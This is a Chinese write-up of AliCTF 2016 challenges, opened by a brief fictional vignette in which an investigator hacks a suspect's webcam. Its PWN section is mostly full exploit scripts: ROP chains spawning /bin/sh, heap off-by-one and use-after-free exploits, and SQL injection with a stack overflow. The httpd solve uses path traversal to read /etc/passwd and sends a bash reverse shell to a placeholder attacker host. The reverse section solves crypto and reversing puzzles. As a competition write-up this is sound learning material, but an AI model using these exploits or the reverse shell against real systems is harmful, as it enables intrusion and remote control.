转载

AliCTF 2016 Writup

AliCTF 2016 Writup

「这边的犯人已经全部抓获,主机还在运行,已经把数据都拷贝出来。」塞拉靠在窗边,右手扶着耳朵上的麦克风,松了一口气说道。

这次抓获的犯罪嫌疑人,主要靠运营博彩网站获利。抓捕前,塞拉凭借自己的黑客能力结合社会工程学,反入侵到了其中一名犯罪嫌疑人的电脑上,在监视对方电脑有一段时间没操作时,预估对方可能不在电脑旁,迅速通过木马启动了对方电脑的摄像头,拍下了嫌疑人所处环境后,迅速组织警力对这个窝点进行了打击。

回到警局,原以为终于可以放松下,结果突然电脑弹出一封邮件,懒懒地瞄了眼邮件标题【 9.15 网络犯罪调查组成员技术比试通知 】。「**,这种时候还来这种消息,还让不让人休息,再这样下去我找不到男人,都是老大的错。」塞拉双手交叉放在后脑,躺在办公室的沙发上,看着天花板上,叹了口气。不过要是比试能拿下个好名次,就有进入总部直属调查部的机会,就更有可能发现哥哥的踪迹。这场竞技,我一定得拿下。

MISC

coloroverflow

首先感觉这种包名不像是CTF用的,所以直接Google之,发现是Google Play上开源的游戏Color Overflow。于是下载下来进行比对,发现多出了几个类无法匹配上原apk,所以猜测是自己后加的。分别将多出的类分析之后,发现分别是用语发送请求、生成请求和工具类。我将其命名为LogClass、n和Utils。

程序将请求生成之后向log.godric.me发送POST请求,在代码里发现数据发送之前用经过了GZIP压缩。在pcap中,也发现了这个请求,pcap里显示确实有Content-Encoding: gzip。用wireshark导出http数据得到了原始数据。

现在从LogClass往上找,发现GameView$1里的new LogClass().execute(new ByteArrayOutputStream[]{v2.OutputRequestBody()});会调用n中的方法。然后LogClass里的run会发送。

    public ByteArrayOutputStream OutputRequestBody() {         try {             this.output_stream.reset();             f.a(this.output_stream, this.szId);             f.a(this.output_stream, this.CurMill);             f.a(this.output_stream, this.Rand);             f.a(this.output_stream, this.d);             this.output_stream.flush();         }         catch(Exception v0) {             v0.printStackTrace();         }         return this.output_stream;     } 

其中d是由要发送的数据进行AES加密后得到的,在GetRequestBody这个方法中。

这部分缓存了要发送的数据。a方法有三个重载,都将输出到缓冲区。分别会先输出对应的类型标志,21、18和24。接下来,字符串类型会字符串长度,然后输出字符串;字节数组会输出一个字节表示长度,然后输出所有字节;长整型会按7位分组然后高位作为结尾标志,每次输出一个字节,高位为0表示结束。

因此我们可以从pcap导出的数据中还原出szId, CurMil, Rand, d。

szId被计算MD5后,摘要作为key(未编码成十六进制字符串),Rand和CurMill进行循环异或得到IV。因此key和IV也可以计算出来。

再来看AES:

            if(i == 0) {                 int j;                 for(j = 0; j < block_size; ++j) {                     block[j] = ((byte)(padded_input[j] ^ arg13[j]));                 }             }             else {                 int j;                 for(j = 0; j < block_size; ++j) {                     block[j] = ((byte)(padded_input[i * 16 + j] ^ block_out[j]));                 }             }             block_out = AES.EncryptBlock(block);             System.arraycopy(block_out, 0, outbuf, i * 16, block_size); 

这部分看出,该AES将上一轮的输出和输入进行异或再加密,因此是CBC模式。

还原出IV和key,还有encrypted之后,便可以进行解密。解密出来发现其中包含flag。

szid = 'bb39b07060deabd5' curmill = [0xb9, 0xe8, 0xf3, 0xd3, 0xca, 0x2a] curmill = [i & (~128) for i in curmill] curmill = sum([curmill[i] << (7*i) for i in range(len(curmill))]) print curmill rand = '46 51 4b f9 f2 b3 cd 3b f5 80 b7 cd 9b ae 45 14'.split() rand = [int(i, 16) for i in rand] import md5 m = md5.md5() m.update(szid) key = m.digest() print 'key', map(ord, key) IV = [(curmill >> (i*8)) & 255 for i in range(8)][::-1] IV = [rand[i] ^ IV[i%8] for i in range(len(rand))] IV = ''.join(map(chr, IV)) print 'IV', map(ord, IV) with open('encrypted') as f:     encrypted = f.read() from Crypto.Cipher import AES aes_d = AES.new(key, AES.MODE_CBC, IV) print aes_d.decrypt(encrypted) 

PWN

Vss

存在一个栈溢出,输入的第0×48-0×50个字节刚好覆盖返回地址,用ROPgadget找到一个ropchain,由于第0×48-0×50个字节是返回地址,再找一个add rsp ret的gadget增加rsp的地址就可以返回到ropchain

from pwn import * from struct import pack p = remote('121.40.56.102', 2333) recv_content = p.recvuntil('Password:/n') p2 = '' p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret p2 += pack('<Q', 0x00000000006c4080) # @ .data p2 += pack('<Q', 0x000000000046f208) # pop2 rax ; ret p2 += '/bin//sh' p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8 p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret p2 += pack('<Q', 0x0000000000401823) # pop2 rdi ; ret p2 += pack('<Q', 0x00000000006c4080) # @ .data p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; ret p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8 p2 += pack('<Q', 0x000000000043ae05) # pop2 rdx ; ret p2 += pack('<Q', 0x00000000006c4088) # @ .data + 8 p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret p2 += pack('<Q', 0x000000000045f2a5) # syscall ; ret payload1 = 'py' + 'B' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2 p.sendline(payload1) p.interactive() fb 教科书一般的off-by-one 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os # flag : alictf{FBfbFbfB23666} # switches DEBUG = 0 # modify this ''' if DEBUG:     io = process('./fb') else:     io = remote('121.40.56.102',9733) ''' if DEBUG: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) # define interactive functions here def menu(): return ru('Choice:') def addmsg(length):     menu()     sl('1')     ru(':')     sl(str(length)) return def setmsg(index,content):     menu()     sl('2')     ru(':')     sl(str(index))     ru(':')     sl(content) return def delmsg(index):     menu()     sl('3')     ru(':')     sl(str(index)) return def leak(addr): if '/x0a' in p64(addr): return '/x00'# :<     setmsg(1, p64(addr) + p32(100))     delmsg(2)     buf = ru('Done').rstrip('Done') if len(buf) == 0:return '/x00' return buf + '/x00' printf = 0x4006E0 ptr = 0x6020c0 ptr2 = 0x6020e0 freegot = 0x602018 # define exploit function here def pwn(): if DEBUG: gdb.attach(io) #elf = ELF('./fb')     addmsg(248)     addmsg(240)# xxx     addmsg(256)     addmsg(248)     addmsg(240)     addmsg(256)     addmsg(256)     addmsg(256)     setmsg(7, '%17$p')     payload = ''     payload += p64(0) + p64(0xf1)     payload += p64(ptr-0x18) + p64(ptr-0x10)     payload = payload.ljust(240, '/x00')     payload += p64(0xf0)     setmsg(0,payload)     delmsg(1)     payload2 = p64(0) + p32(0) + p32(16) + p64(0) + p64(freegot) + p64(2000) + p64(0x6020e0) + p32(0x1000)     setmsg(0, payload2)     setmsg(0, p64(printf)[:-1])     delmsg(7)     buf = ru('Done').rstrip('Done').lstrip('0x')     libc_start_main_ret = int(buf, 16) #info('Libc leaked = ' + hex(libc_start_main_ret))     libc = libc_start_main_ret - 0x21f45     system = libc + 0x0000000000046590     setmsg(6, '/bin/sh;')     setmsg(0, p64(system)[:-1])     delmsg(6)     io.interactive() return if __name__ == '__main__':     io = remote('114.55.103.213',9733)     pwn()     io.close() routers connect(0,1), connect(1,2)会导致router 0中指针单向指向router 1, 此时delete(1)会导致uaf. 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os # flag : alictf{S0rry_F0r_USiNG_CP1uSp1Us_vTaB1es} # switches DEBUG = 0 # libc = 2.19 ubuntu-6.9 os.environ["LD_PRELOAD"] = "./libc-x.so" # modify this if DEBUG:     io = process('./routers') else:     io = remote('114.55.103.213',6565) if DEBUG: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) # define interactive functions here def create_route(t,name):     ru('>')     sl('create router')     ru(':')     sl(t)     ru('name: ')     sl(name) return def create_terminal(t,name,attached):     ru('>')     sl('create terminal')     ru(':')     sl(attached)     ru(':')     sl(t)     ru(':')     sl(name) return def delete_router(name):     ru('>')     sl('delete router')     ru(':')     sl(name) return def connect(name1, name2):     ru('>')     sl('connect')     ru(':')     sl(name1)     ru(':')     sl(name2) return def disconnect(name):     ru('>')     sl('disconnect')     ru(':')     sl(name) return def show():     ru('>')     sl('show') return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) # uaf in disconnect     create_route('cisco', '123')     create_route('cisco', 'aaa')     create_route('cisco', 'bbb')     connect('123', 'aaa')     connect('aaa', 'bbb')     delete_router('aaa')     create_terminal('osx','hello','bbb')     show()     ru('to ')     pie = u64(ru('/n')[:-1].ljust(8,'/x00')) - 0x204b30     info('PIE Leaked = ' + hex(pie))     got = pie + 0x204EC8     create_route('cisco', 'b1')     create_route('cisco', 'b2')     create_route('cisco', 'b3')     create_route('cisco', 'b4')     connect('b1','b2')     connect('b2','b3')     delete_router('b2')     delete_router('b4')     payload = 'A'*0x8 + p64(got) + p64(0) + p64(0)[:-1]     create_route('cisco', payload)     show()     ru('to ')     ru('to ') #offset_setvbuf = 0x70670     offset_setvbuf = 0x705a0     libc = u64(ru('/n')[:-1].ljust(8,'/x00')) - offset_setvbuf     info('Libc Leaked = ' + hex(libc)) # leak heap address     delete_router(payload)     xxx_vtable = libc + 0x3BE060 - 8     payload2 = p64(xxx_vtable) + p64(pie) + p64(0) + p64(0)[:-1]     create_route('cisco', payload2)     create_route('cisco', 'feeder')     delete_router('feeder')     disconnect('b1')     show() for i in xrange(6): ru('named ')     heap_addr = u64(ru(' ')[:-1].ljust(8,'/x00')) - 0x340     info('Heap addr leaked = ' + hex(heap_addr)) # final stage     create_route('cisco', 'c1')     create_route('cisco', 'c2')     create_route('cisco', 'c3')     create_route('cisco', 'c4')     connect('c1', 'c2')     connect('c2', 'c3')     delete_router('c2')     delete_router('c4')     gadget = libc + 0xE4968     payload3 = p64(heap_addr+0x450) + p64(pie) + p64(0) + p64(0)[:-1]     create_route('cisco', payload3)     spray = 7 * p64(gadget)     create_route('cisco', spray) '''     poprdi = libc + 0x0000000000022b9a     system = libc + 0x46590     binsh = libc + 0x17C8C3     ropchain = ''     ropchain += p64(poprdi)     ropchain += p64(binsh)     ropchain += p64(system)     '''     disconnect('c1')     io.interactive() return if __name__ == '__main__':     pwn() 

http

题目是一个http服务器,刚开始没有给binary,经过测试发现,修改http头的请求目录可以导致任意文件读取(e.g.: GET /../../../../../etc/passwd HTTP/1.1), 通过此漏洞读取/proc/self/maps获取binary路径,然后得到二进制文件,分析后发现服务器处理post请求处有漏洞,利用见脚本:

#!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os # flag : alictf{1et's_p14y_with_thr34ds_at_httpd} # switches DEBUG = 0 # modify this if DEBUG:     io = remote('127.0.0.1', 46962) else:     io = remote('120.26.90.0',42665) if DEBUG: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) # define interactive functions here def sendpost(target, content):     buf = ''     buf += 'POST '     buf += target     buf += ' HTTP/1.1/n'     buf += 'Content-Length: '     buf += str(len(content))     buf += '/n/n'     buf += content     sn(buf) return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) # arbitary file read vuln in httpd # dumping the binary and we find post content is passed to a newly created process, which we can specify #sendpost('/../../../../../../bin/bash', 'ls -la /;exit/n')     sendpost('/../../../../../../bin/bash', 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;exit;/n')# connect back shell     io.interactive() return if __name__ == '__main__':     pwn() 

vvss

sqli + 栈溢出, 利用见脚本:

#!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * import os # flag : alictf{n0t_VerY_v3ry_secure_py} # switches DEBUG = 0 # modify this if DEBUG:     io = process('./vvss') else:     io = remote('120.26.120.82',9999) context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) # define interactive functions here def listall():     sl('py') return # select plain, len from keys where qid='%s' def query(param):     buf = 'pz'     buf += param     sl(buf) return def todo():     buf = 'pi'     sl(buf); return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) #listall()     query("a';insert into keys values (909, hex(fts3_tokenizer('simple')), 'bx', 100);")# use tokenizer to leak address     query("bx")     offset = 0x2b4d80     ru('0')     buf = rn(16)     sqlite_base = u64(buf.decode('hex')) - offset     info('SQLite Base leaked = ' + hex(sqlite_base))     offset2lib = 0x3c5000     libc = sqlite_base - offset2lib     system = libc + 0x46590     binsh = libc + 0x17C8C3     ropchain = ''     ropchain += p64(sqlite_base + 0x0000000000009ef8)     ropchain += p64(binsh)     ropchain += p64(system)     payload = 656 * 'a' + ropchain     query("a';insert into keys values (31337, x'"+payload.encode('hex')+"', 'exx', "+str(len(payload))+");")     query("exx")     io.interactive() return if __name__ == '__main__':     pwn() 

Reverse

Al-Gebra

一个pyinstaller打包的程序。用pyinstxtractor.py解包,然后发现主要文件是pyimod04_builtins,修复文件头之后反编译,获得主程序代码。

主程序从服务器获取了数据和两个函数 add和mul。

保存服务器发来的数据然后修复文件头反编译,得到函数内容。

程序逻辑就是做个矩阵乘法,然后检验结果。但是这里的加法和乘法都被重新定义过了。网上搜了下,发现这玩意好像叫多项式环。

直接对mul函数进行一些测试。发现对于mul(a,x)=b,a<256,b<256,x一定有解。然后在加上异或本身的一些特性,就满足了做方程式化简求解的要求。

然后拍了个高斯消元,注意加和乘的重定义。得解。

alictf{Ne_pleure_pas_Alfred} mat=[[207, 152, 250, 232, 183, 247, 125, 31, 89, 176, 139, 246, 97, 125, 76, 1, 175, 141, 61, 196], [90, 41, 196, 89, 48, 166, 201, 255, 28, 72, 10, 227, 134, 247, 87, 10, 219, 51, 146, 93], [76, 3, 187, 211, 246, 46, 222, 194, 67, 165, 130, 244, 221, 248, 132, 47, 91, 245, 136, 141], [223, 211, 5, 77, 225, 6, 21, 196, 120, 19, 233, 214, 143, 224, 2, 119, 50, 188, 90, 88], [108, 177, 46, 95, 80, 128, 125, 128, 22, 227, 179, 177, 191, 191, 7, 91, 209, 79, 31, 2], [152, 229, 184, 163, 212, 71, 125, 72, 67, 179, 37, 173, 156, 59, 235, 79, 28, 134, 73, 245], [40, 123, 5, 233, 197, 233, 30, 18, 232, 33, 56, 95, 69, 44, 205, 176, 246, 7, 211, 109], [11, 28, 73, 59, 71, 154, 72, 92, 139, 27, 109, 193, 92, 102, 17, 140, 230, 254, 181, 35], [242, 49, 103, 240, 78, 79, 46, 224, 168, 137, 147, 8, 125, 149, 197, 109, 85, 208, 254, 44], [180, 66, 51, 154, 33, 51, 1, 33, 0, 227, 13, 192, 65, 217, 206, 204, 7, 14, 22, 232], [46, 58, 126, 154, 21, 73, 28, 130, 223, 212, 63, 69, 167, 80, 240, 8, 172, 208, 206, 76], [218, 94, 40, 0, 108, 187, 3, 9, 39, 65, 110, 26, 242, 41, 143, 100, 17, 186, 95, 127], [19, 188, 30, 252, 33, 235, 104, 10, 232, 186, 243, 211, 92, 210, 150, 146, 191, 96, 108, 208], [119, 109, 150, 141, 45, 208, 118, 47, 10, 40, 41, 47, 122, 99, 238, 244, 0, 241, 187, 198], [240, 138, 99, 154, 114, 245, 192, 199, 90, 166, 232, 140, 119, 243, 237, 86, 21, 5, 168, 251], [144, 99, 109, 211, 70, 17, 11, 149, 225, 17, 177, 63, 53, 146, 17, 168, 81, 50, 149, 218], [238, 179, 216, 200, 226, 215, 124, 171, 57, 183, 76, 165, 56, 140, 123, 197, 152, 71, 112, 242], [162, 115, 153, 111, 219, 42, 159, 188, 118, 77, 232, 53, 83, 223, 183, 219, 150, 177, 149, 76], [229, 216, 82, 107, 93, 225, 244, 98, 38, 190, 193, 97, 54, 27, 208, 15, 71, 39, 106, 233], [131, 13, 74, 27, 217, 248, 206, 44, 14, 71, 69, 62, 35, 94, 224, 126, 96, 120, 252, 11]] c =[157, 244, 209, 121, 181, 200, 239, 205, 226, 51, 188, 143, 121, 212, 12, 95, 36, 10, 251, 133] length =len(mat[0]) def mul_line(i, num): for j inxrange(length): mat[i][j]=mul(mat[i][j], num) c[i]=mul(c[i], num) def swap_line(a, b): tmp =c[a] c[a]=c[b] c[b]= tmp tmp =mat[a] mat[a]=mat[b] mat[b]= tmp def minus_line(src, dest): for i inxrange(length): mat[dest][i]=mat[dest][i] ^ mat[src][i] c[dest]=c[dest] ^ c[src] def minus_row(row, num): for i inxrange(length): mat[i][row] = mat[i][row] ^ num def print_mat(): for i inxrange(length): printmat[i] print"" def mul(a, b): r =0 while a !=0: if a & 1: r = r ^ b t = b & 128 b = b << 1 if b & 256: b = (b ^ 215) & 255 a = a >> 1 return r def run(): lum =[[jfor j inrange(0, 256)]for i inrange(0, 256)] for i inrange(0, 256): for j inrange(0, 256): lum[i][mul(i,j)]= j for j inxrange(len(mat[0])): # print j # print_mat() end = length -1 for i inrange(j, length): if end ==i: #print end break ifmat[i][j]==0: swap_line(i, end) end -=1 # change to 1 for i inrange(j, length): ifmat[i][j]==0: break mul_line(i, lum[mat[i][j]][1]) # print_mat() # up minus all for i inrange(j +1, length): ifmat[i][j]==0: break minus_line(j, i) # print_mat() ans =[] #print c for j inrange(length -1, -1, -1): xn=lum[1][c[j]] ans.append(chr(xn)) for i inrange(j, -1, -1): c[i] ^= mul(xn, mat[i][j]) # print_mat() print"".join(ans[::-1]) run() 

Timer

逆向so里的函数,然后直接爆破。

代码写炸了,得到一组结果。。然后找到一些比较像flag的一个个试的

alictf{Y0vAr3TimerMa3te7} #include "cstdio" #include "cmath" boolisPrime(int x){ if(x<=1) return false; for(int i=2;i<=sqrt(x);i++){ if (x%i==0){ return false; } } return true; } intfunc(intinput) { int v3; // r0@1 int v4; // r6@1 int v5; // r1@1 int v6; // r7@1 int v7; // r0@1 int v8; // r4@1 longlong v9; // r0@2 int v10; // r0@2 int v11; // r1@2 int v12; // r0@2 int v13; // r0@2 unsigned int v14; // r1@2 longlong v15; // r0@2 int v16; // r0@2 unsigned int v17; // r0@2 int v18; // r0@3 int v19; // r0@6 intv20;// r0@6 intv21;// r0@6 intv22;// r0@6 intv23;// r0@6 intv24;// r0@6 intv25;// r0@6 charv26;// r0@6 intresult;// r0@6 signed intv29;//[sp+8h][bp-38h]@1 int v30; //[sp+Ch][bp-34h]@1 charv31[18];//[sp+10h][bp-30h]@1 int v32; //[sp+24h][bp-1Ch]@1 v29=input; double b1 =input; double b13,b15; v7 = b1/323276.0999999999800; v8 = v7; v31[0]= v8 +v29%100; if ( isPrime((v8+v29%100) & 0xFF) ) { v9 = b1/59865.9000000000010; v10 = v9 +21; v12 = v10; v31[1]= v12; b13=v12; b15 = b13 *2.4230000000000; v16 = b15 +1.7; v17 = v16; v31[2]= v17; if ( v17 > 0x6F ) { v18 = b1 /24867.4000000000010; v31[3]= v18; }else{ returnresult; } v31[13]=51; v31[14]=116; v31[15]=101; v31[16]=55; } else { returnresult; v31[1]=57; v31[2]=67; v31[3]=-120; v31[13]=61; v31[14]=106; v31[15]=111; v31[16]=59; } v31[4]=v31[2]-4; v19 = b1 /31693.7999999999990; v31[5]= (v19); v20= b1/19242.6600000000000; v31[6]=(v20); v21= (b1/15394.1000000000000); v31[7]= (v21); v22= (b1/14829.2000000000010); v31[8]=(v22); v23= (b1/16003.7999999999990); v31[9]= (v23); v24= (b1/14178.7999999999990); v31[10]= (v24); v31[11]=v29/20992; v25= (b1 /16663.7000000000010); v26=(v25); v31[17]=0; v31[12]=v26; for(int i=0;i<17;i++){ if(!( (v31[i]>='a' && v31[i]<='z') || (v31[i]>='A' && v31[i]<='Z')  || (v31[i]>='0' && v31[i]<='9')  || v31[i]=='_' )){ returnresult; } } printf("%s/n",v31); returnresult; } intmain(intargc,charconst*argv[]) { for (int i=20991;i<20991*129;i++){ func(i); } return0; } 

showmethemoney

c#写的勒索程序,逆向后发现会把id和key发到120.26.120.82:9999。

扫了下120.26.120.82的端口,发现80开着,得到vvss,逆向发现输入py会显示所有数据。得到key,写程序解密即可。

alictf{Black_sh33p_w411}

REact

reactnative的apk,反编译提取出js文件。验证程序分为两个部分。

第一个部分找到关键函数s,提取出判断函数e。

然后调试,发现是矩阵乘法(又是矩阵乘法)。然后提取出数据,求解方程组即可。

第二个部分在java层,通过bridge调用,直接求解即可。

alictf{keep_young_and_staysimple+1s_!}

第一部分

mat=[[11, 32, 31, 0, 10, 10, 6, 18, 10, 17, 16, 5, 12, 9, 26, 13], [0, 31, 15, 28, 2, 30, 18, 20, 12, 7, 12, 25, 13, 7, 11, 22], [13, 27, 8, 17, 7, 1, 17, 7, 21, 29, 8, 31, 31, 16, 28, 26], [13, 27, 20, 19, 12, 16, 0, 4, 16, 4, 21, 9, 11, 8, 24, 0], [17, 5, 25, 13, 14, 14, 29, 2, 24, 21, 27, 5, 20, 23, 22, 14], [6, 0, 20, 13, 24, 30, 25, 5, 32, 7, 15, 10, 6, 20, 27, 18], [18, 28, 11, 31, 4, 16, 30, 24, 22, 7, 4, 19, 18, 11, 12, 27], [2, 23, 1, 23, 10, 12, 28, 14, 19, 3, 13, 29, 27, 9, 3, 22], [27, 30, 32, 8, 24, 11, 12, 7, 12, 26, 27, 0, 1, 32, 14, 25], [28, 8, 17, 10, 9, 9, 18, 16, 16, 24, 19, 25, 22, 30, 24, 10], [24, 0, 30, 10, 19, 20, 3, 25, 1, 17, 23, 25, 5, 16, 7, 16], [20, 1, 19, 21, 23, 27, 15, 5, 32, 30, 1, 20, 3, 28, 15, 12], [15, 16, 26, 9, 29, 25, 11, 10, 21, 6, 16, 12, 23, 21, 31, 32], [10, 1, 18, 27, 11, 6, 4, 23, 9, 8, 17, 31, 18, 22, 2, 16], [11, 16, 23, 28, 10, 10, 19, 10, 10, 4, 12, 1, 0, 15, 14, 5], [2, 18, 24, 26, 23, 22, 30, 18, 18, 6, 0, 20, 17, 12, 23, 1]] 

整天想搞大新闻,吃枣药丸

c=[25434, 19549, 19765, 28025, 27015, 23139, 26935, 29052, 20005, 25636, 25317, 26852, 20113, 24424, 22495, 22055] 第二部分 ans=[0x0e,0x1d,0x06,0x19,ord('+'),0x1c,0x0b,0x10,0x16,0x04,ord('6'),0x15,0x0b,0x0,ord(':'),0x0b] key='excited' output="" for i inxrange(len(ans)): output+=chr(ord(key[i%7])^ans[i]) print output 

LoopAndLoop

用ida调试发现check方法调用chec,会自动调用到check1,第一个参数被传递下去,第二个参数被减一后传递到check1。check1里调用chec函数同理地调用check2,check2里的chec调用check3,check3里的chec调用check1。如此递归下去,发现当第二个参数为1的时候,chec会直接返回参数一的值,也就是递归的边界。估计native的chec函数只起这样的作用,因此不需要逆向liblhm.so了。check1和check3都是加上一个数,check2根据第二个参数的奇偶决定是加上还是删除一个数。因此从最后的检查条件1835996258往前推99步就能推出正确的输入。

from ctypes import * SA = sum(range(100)) SB = sum(range(1000)) SC = sum(range(10000)) S0 = 1835996258 for i in range(1, 99):     if i % 3 == 0:         S0 = c_int(S0-SC).value     if i % 3 == 2:         S0 = c_int(S0-SA).value     if i % 3 == 1:         if i % 2 == 0:             S0 = c_int(S0-SB).value         else:             S0 = c_int(S0+SB).value print S0 print hex(S0) for i in range(98, 0, -1):     if i % 3 == 0:         S0 = c_int(S0+SC).value     if i % 3 == 2:         S0 = c_int(S0+SA).value     if i % 3 == 1:         if i % 2 == 0:             S0 = c_int(S0+SB).value         else:             S0 = c_int(S0-SB).value     print hex(S0) print S0 

Debug

debug blocker反调试,程序的验证步骤:

1.验证flag的长度是否为32,格式为[a-z0-9]+

2.把每两个字符的16进制字符串转换为整数,这一步会导致多解

3.每4个字节倒置

4.每8个字节做128轮的TEA加密,key为’3322110077665544BBAA9988FFEEDDCC’

5.最后把加密后的16个字节与0×31异或后与一个给定的字节数组比较

Uplycode

好多的自解密。。。程序的验证步骤:

1.flag开头是否为alictf{,把末尾的}改为空字节

2.验证第8-9字节,直接爆破得到为Pr

3.验证10-13字节,直接爆破得到为0bl3,我好暴力。。。

4.用13字节异或14字节的值解密接下来的验证函数,根据之前的规律知道自解密出来的第一个字节为0×55,因此14字节为M

5.对第14字节到最后的字节(不包括{)计算MD5值与35faf651b1a72022e8ddfed1caf7c45f比较

6.验证第19字节到最后的字节(不包括{)是否为A1w4ys_H3re,因此爆破第15-18字节就可以得到flag

xxFileSystem2

在队友们的帮助下做出的,xxdisk.bin的开头20000个字节是一个使用表,0表示未使用,1表示已使用,文件系统中的文件的开头第1-4个字节为在使用表中的索引值,第5-8个字节为FFFFFFFF,之后每4个字节是文件分块的索引值,一共22块,之后四字节是文件块使用的标记,再之后4字节是文件大小,跳过4字节之后是文件名,删除文件时会把使用表对应索引的值设为0,通过这个规则可以遍历xxdisk.bin,找到了1000多个删除的文件,输出文件名发现一个奇怪的555文件,然后抽取出555文件的内容

file = open('xxdisk.bin', 'rb') data = file.read() out = open('extract', 'wb') out.write(data[0x5024+(0x333<<9):0x5024+(0x333<<9)+512]) out.write(data[0x5024+(0x32c<<9):0x5024+(0x32c<<9)+512]) out.write(data[0x5024+(0x32d<<9):0x5024+(0x32d<<9)+512]) out.write(data[0x5024+(0x324<<9):0x5024+(0x324<<9)+512]) out.write(data[0x5024+(0x325<<9):0x5024+(0x325<<9)+512]) out.write(data[0x5024+(0x326<<9):0x5024+(0x326<<9)+512]) out.close() 

